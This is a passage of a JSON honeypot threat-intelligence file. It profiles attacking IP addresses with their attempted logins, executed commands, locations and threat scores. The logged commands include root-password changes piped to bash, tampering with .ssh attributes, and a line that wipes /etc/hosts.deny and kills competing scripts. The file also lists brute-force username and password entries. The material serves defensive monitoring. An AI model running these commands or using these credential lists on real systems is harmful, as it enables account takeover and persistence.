        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\nO0NTGmZTDdnZ\\nO0NTGmZTDdnZ\\n\"|passwd",
        "echo \"Data123\\noEyVVzu9bXaa\\noEyVVzu9bXaa\\n\"|passwd",
        "echo \"Rdp123!\\n4IuAs4RwljVN\\n4IuAs4RwljVN\\n\"|passwd",
        "echo \"password\\noHD6Sl0nrXib\\noHD6Sl0nrXib\\n\"|passwd",
        "echo \"root:BL3sK4d5OCwu\"|chpasswd|bash",
        "echo \"root:MmBnUPj1c7DL\"|chpasswd|bash",
        "echo \"root:OhxJFjHcM963\"|chpasswd|bash",
        "echo \"root:ayN6bJi1OMwC\"|chpasswd|bash",
        "echo -e \"1234\\nO0NTGmZTDdnZ\\nO0NTGmZTDdnZ\"|passwd|bash",
        "echo -e \"Data123\\noEyVVzu9bXaa\\noEyVVzu9bXaa\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Kowloon",
      "asn": 9304,
      "as_org": "HGC Global Communications Limited",
      "threat_score": 40.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.7,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 938,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:20:36.617000+00:00",
        "last_seen_30d": "2026-03-22T10:10:50.500000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 788,
        "Suricata": 150
      }
    },
    "209.38.29.146": {
      "attack_count": 467,
      "first_seen": "2026-03-15T09:53:35.771Z",
      "last_seen": "2026-03-15T15:05:53.691Z",
      "sessions": 94,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "alex",
        "ali",
        "a",
        "aaa",
        "abc",
        "administrator",
        "ams",
        "andrea",
        "andrew",
        "anna",
        "app",
        "0000",
        "123456",
        "a1",
        "a1marion",
        "aa",
        "abdi",
        "abdulla",
        "abuse"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "12345678",
        "admin123",
        "1234",
        "P@ssw0rd",
        "0000",
        "111",
        "1234567",
        "123root",
        "4dm1n",
        "Admin1234",
        "a",
        "a1",
        "aa",
        "aaa",
        "abc",
        "abdi",
        "abdulla",
        "abuse"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 661,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T09:53:35.771000+00:00",
        "last_seen_30d": "2026-03-15T15:07:01.904000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 467,
        "Suricata": 194
      }
    },
    "39.109.104.252": {
      "attack_count": 465,
      "first_seen": "2026-03-11T14:30:53.836Z",
      "last_seen": "2026-03-22T01:09:00.953Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "jhpark",
        "mehedi",
        "seekcy",
        "tigergraph",
        "we",
        "adm",
        "andre",
        "andrew",
        "charlie",
        "deployuser",
        "init",
        "intell",
        "internet",
        "mmx",
        "n8n",
        "odm",
        "pixel",
        "robot",
        "root"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "1234",
        "123456",
        "password",
        "12345678",
        "A1s2d3f4g5",
        "Intell123",
        "Internet123!",
        "init@123",
        "jhpark123!",
        "mmxpassword",
        "n8n",
        "pixelpixel",
        "robot123!",
        "seekcy",
        "tgpassword",
        "tigergraphpass",
        "wewe"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nnirIDjrU05pj\\nnirIDjrU05pj\\n\"|passwd",
        "echo \"jhpark123!\\nHtSK9hkI3FDp\\nHtSK9hkI3FDp\\n\"|passwd",
        "echo \"seekcy\\nnGEJW40gBwpt\\nnGEJW40gBwpt\\n\"|passwd",
        "echo \"tigergraphpass\\nDofZdyL3iMDA\\nDofZdyL3iMDA\\n\"|passwd",
        "echo \"wewe\\nKWY1cRwgfOnN\\nKWY1cRwgfOnN\\n\"|passwd",
        "echo -e \"12345\\nnirIDjrU05pj\\nnirIDjrU05pj\"|passwd|bash",
        "echo -e \"jhpark123!\\nHtSK9hkI3FDp\\nHtSK9hkI3FDp\"|passwd|bash",
        "echo -e \"seekcy\\nnGEJW40gBwpt\\nnGEJW40gBwpt\"|passwd|bash",
        "echo -e \"tigergraphpass\\nDofZdyL3iMDA\\nDofZdyL3iMDA\"|passwd|bash",
        "echo -e \"wewe\\nKWY1cRwgfOnN\\nKWY1cRwgfOnN\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.3,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 542,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T14:30:53.836000+00:00",
        "last_seen_30d": "2026-03-22T01:10:02.342000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 465,
        "Suricata": 77
      }
    },
    "156.238.252.133": {
      "attack_count": 454,
      "first_seen": "2026-03-07T02:39:09.425Z",
      "last_seen": "2026-03-08T21:27:56.470Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "backupuser",
        "dolphinscheduler",
        "netflow",
        "nutanix",
        "andong",
        "atlas",
        "bot",
        "cockpit",
        "crafty",
        "denis",
        "frontend",
        "mamad",
        "mobile",
        "usuario",
        "vas",
        "webapps",
        "wei",
        "xwiki"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "password",
        "123",
        "1234",
        "@qwer2024",
        "@qwer2025",
        "Nutanix123",
        "P@ssw0rd12",
        "Qq@123123",
        "Usuario123!",
        "dolphinscheduler123!",
        "frontend123",
        "mamad",
        "mobile123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nzhbJ56erokgB\\nzhbJ56erokgB\\n\"|passwd",
        "echo \"123\\n2rEOCYQ2g4v7\\n2rEOCYQ2g4v7\\n\"|passwd",
        "echo \"Nutanix123\\nrAFVN8DGIxan\\nrAFVN8DGIxan\\n\"|passwd",
        "echo \"dolphinscheduler123!\\ndA9fgHSvksd2\\ndA9fgHSvksd2\\n\"|passwd",
        "echo \"root:BdRI4ZKWfNBH\"|chpasswd|bash",
        "echo -e \"12345678\\nzhbJ56erokgB\\nzhbJ56erokgB\"|passwd|bash",
        "echo -e \"123\\n2rEOCYQ2g4v7\\n2rEOCYQ2g4v7\"|passwd|bash",
        "echo -e \"Nutanix123\\nrAFVN8DGIxan\\nrAFVN8DGIxan\"|passwd|bash",
        "echo -e \"dolphinscheduler123!\\ndA9fgHSvksd2\\ndA9fgHSvksd2\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 8796,
      "as_org": "FASTNET DATA INC",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 527,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T02:39:09.425000+00:00",
        "last_seen_30d": "2026-03-08T21:29:01.012000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 454,
        "Suricata": 73
      }
    },
    "57.151.89.48": {
      "attack_count": 430,
      "first_seen": "2026-03-18T17:27:19.047Z",
      "last_seen": "2026-03-28T08:40:15.811Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mes",
        "aaron",
        "activemq",
        "apache",
        "botuser",
        "bryan",
        "crawl",
        "cw",
        "ftp-user",
        "jackie",
        "joel",
        "jonathan",
        "juan",
        "nb",
        "nextcloud",
        "roott",
        "shares",
        "soft"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "password",
        "1234",
        "12345",
        "123456789.",
        "1234qwert",
        "123@Test",
        "1Qaz2wsx@",
        "1p@ssw0rd",
        "1q2w3e4r!!",
        "Activemq",
        "Bryan123!",
        "Digital",
        "Hello2025",
        "Jj@123456",
        "Jonathan123!",
        "Lm@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Mes123!\\nClS4M0Uw4u4a\\nClS4M0Uw4u4a\\n\"|passwd",
        "echo \"root:UvcNhA8LNXhe\"|chpasswd|bash",
        "echo \"root:jBK13WIjNyHE\"|chpasswd|bash",
        "echo -e \"Mes123!\\nClS4M0Uw4u4a\\nClS4M0Uw4u4a\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 43.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 553,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T17:27:19.047000+00:00",
        "last_seen_30d": "2026-03-28T08:41:21.676000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 430,
        "Suricata": 123
      }
    },
    "103.217.144.161": {
      "attack_count": 425,
      "first_seen": "2026-03-23T02:25:20.190Z",
      "last_seen": "2026-03-28T07:46:55.875Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "nuc",
        "tomcat",
        "zhuge",
        "adminer",
        "ann",
        "farmacia",
        "simone",
        "syj",
        "verdaccio"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "0206",
        "123",
        "123.123",
        "123456789101112",
        "123qwE",
        "20260817",
        "Abcde12345",
        "Admin123!",
        "Adminer123",
        "PasswOrd321",
        "Password12#$",
        "Skemasuprem@890",
        "Support!2024",
        "Support123",
        "Syj123!",
        "Verdaccio123!",
        "administrateur"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"nucpass\\nNKNsFfvDFxX6\\nNKNsFfvDFxX6\\n\"|passwd",
        "echo \"password\\nJS1owAlL4ciH\\nJS1owAlL4ciH\\n\"|passwd",
        "echo \"root:C4bM5lNtwKgu\"|chpasswd|bash",
        "echo \"zhuge\\nCidvqJt69g7l\\nCidvqJt69g7l\\n\"|passwd",
        "echo -e \"nucpass\\nNKNsFfvDFxX6\\nNKNsFfvDFxX6\"|passwd|bash",
        "echo -e \"password\\nJS1owAlL4ciH\\nJS1owAlL4ciH\"|passwd|bash",
        "echo -e \"zhuge\\nCidvqJt69g7l\\nCidvqJt69g7l\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 39.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 526,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T02:25:20.190000+00:00",
        "last_seen_30d": "2026-03-28T07:48:03.333000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 425,
        "Suricata": 101
      }
    },
    "103.164.221.138": {
      "attack_count": 421,
      "first_seen": "2026-03-04T12:24:03.802Z",
      "last_seen": "2026-03-21T11:25:26.441Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mark",
        "dev",
        "jhpark",
        "m",
        "sysadm",
        "zomboid"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123abc,.",
        "1A2b3c4d",
        "1qazxsw2#EDCVFR$",
        "@Aa123456",
        "Ls123456",
        "Mark123",
        "Qwe123..",
        "ali1234",
        "keypos",
        "m123!",
        "qwerty123@",
        "senha123",
        "sysadm123!",
        "user123",
        "zomboidpass",
        "zxc"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Mark123\\nObt7snUjLW4B\\nObt7snUjLW4B\\n\"|passwd",
        "echo \"root:02Lt7hGO3Z6B\"|chpasswd|bash",
        "echo \"root:WUQgo0VCUZTE\"|chpasswd|bash",
        "echo \"root:eId6bR8aILiN\"|chpasswd|bash",
        "echo \"root:yLPI5RqLJWRG\"|chpasswd|bash",
        "echo -e \"Mark123\\nObt7snUjLW4B\\nObt7snUjLW4B\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 17995,
      "as_org": "PT iForte Global Internet",
      "threat_score": 35.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 483,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:24:03.802000+00:00",
        "last_seen_30d": "2026-03-21T11:26:29.076000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 421,
        "Suricata": 62
      }
    },
    "103.2.225.33": {
      "attack_count": 420,
      "first_seen": "2026-03-08T12:09:11.065Z",
      "last_seen": "2026-03-20T03:31:28.193Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "coolify",
        "ftptest",
        "ubuntu",
        "unity",
        "ben",
        "cardano",
        "ctf",
        "elasticsearch",
        "emo",
        "gera",
        "grid",
        "help",
        "leo",
        "linuxadmin",
        "music",
        "newusername",
        "ociispth",
        "old"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "123",
        "12345",
        "12345678",
        "Aa112233",
        "Ben123!",
        "Help123",
        "Linuxadmin123!",
        "Music123",
        "Old123",
        "P@ssw0rd",
        "Sftptest123",
        "cardano123!",
        "ctf1234",
        "elasticsearch",
        "forensics",
        "gridpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\ntBRKG479Zsvy\\ntBRKG479Zsvy\\n\"|passwd",
        "echo \"1234\\nqlUWVUVI6MQh\\nqlUWVUVI6MQh\\n\"|passwd",
        "echo \"Aa112233\\nSICot7i04fGD\\nSICot7i04fGD\\n\"|passwd",
        "echo \"root:vvpXF9i3H5ev\"|chpasswd|bash",
        "echo -e \"12345678\\ntBRKG479Zsvy\\ntBRKG479Zsvy\"|passwd|bash",
        "echo -e \"1234\\nqlUWVUVI6MQh\\nqlUWVUVI6MQh\"|passwd|bash",
        "echo -e \"Aa112233\\nSICot7i04fGD\\nSICot7i04fGD\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131423,
      "as_org": "Branch of Long Van System Solution JSC - Hanoi",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 509,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T12:09:11.065000+00:00",
        "last_seen_30d": "2026-03-20T03:32:35.698000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 420,
        "Suricata": 89
      }
    },
    "155.4.244.169": {
      "attack_count": 375,
      "first_seen": "2026-03-18T16:21:05.301Z",
      "last_seen": "2026-03-21T14:31:24.654Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "abdel",
        "hong",
        "stream",
        "bot",
        "bot1",
        "ceshi",
        "es",
        "old",
        "omm",
        "paolo",
        "pzuser",
        "sai",
        "srs",
        "stefan",
        "toan",
        "user02",
        "usuario1",
        "webapp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "password",
        "1234",
        "12345",
        "123456",
        "1qaz!qaz",
        "Hong123",
        "Toan123!",
        "abdelpass",
        "bot1234",
        "ceshi123",
        "es@123",
        "gov",
        "paolopass",
        "pzuser1234",
        "sai123!",
        "srs1234",
        "user02123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nAOtBAH30QiuJ\\nAOtBAH30QiuJ\\n\"|passwd",
        "echo \"Hong123\\nsdyGaReISFsm\\nsdyGaReISFsm\\n\"|passwd",
        "echo \"abdelpass\\nJZwPVSntu7IX\\nJZwPVSntu7IX\\n\"|passwd",
        "echo \"root:hjcCbRVoMVmr\"|chpasswd|bash",
        "echo -e \"1234\\nAOtBAH30QiuJ\\nAOtBAH30QiuJ\"|passwd|bash",
        "echo -e \"Hong123\\nsdyGaReISFsm\\nsdyGaReISFsm\"|passwd|bash",
        "echo -e \"abdelpass\\nJZwPVSntu7IX\\nJZwPVSntu7IX\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Helsingborg",
      "asn": 8473,
      "as_org": "Bahnhof AB",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T16:21:05.301000+00:00",
        "last_seen_30d": "2026-03-21T14:32:30.184000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 375,
        "Suricata": 64
      }
    },
    "61.245.11.236": {
      "attack_count": 333,
      "first_seen": "2026-03-02T20:20:08.727Z",
      "last_seen": "2026-03-22T12:25:08.460Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "astra",
        "karim",
        "admin1",
        "ann",
        "escaner",
        "ftpadmin",
        "jun",
        "pwserver",
        "rdpuser",
        "shoutcast",
        "simeon"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "1234",
        "123456",
        "151515",
        "21ops.comM",
        "@dmin2024",
        "Aa1234567",
        "As123456@",
        "Ftpadmin123",
        "Shoutcast123!",
        "ZL123456@",
        "a123456a",
        "assign",
        "escaner",
        "password",
        "pwserver",
        "qweqaz123",
        "qwertyuiop12345"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\np45evvytTxHL\\np45evvytTxHL\\n\"|passwd",
        "echo \"root:IgYIxcIlApLO\"|chpasswd|bash",
        "echo \"root:eDlrZiZnG6j9\"|chpasswd|bash",
        "echo -e \"1234\\np45evvytTxHL\\np45evvytTxHL\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Manila",
      "asn": 19970,
      "as_org": "R&R Managed Telecom Services",
      "threat_score": 38.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 403,
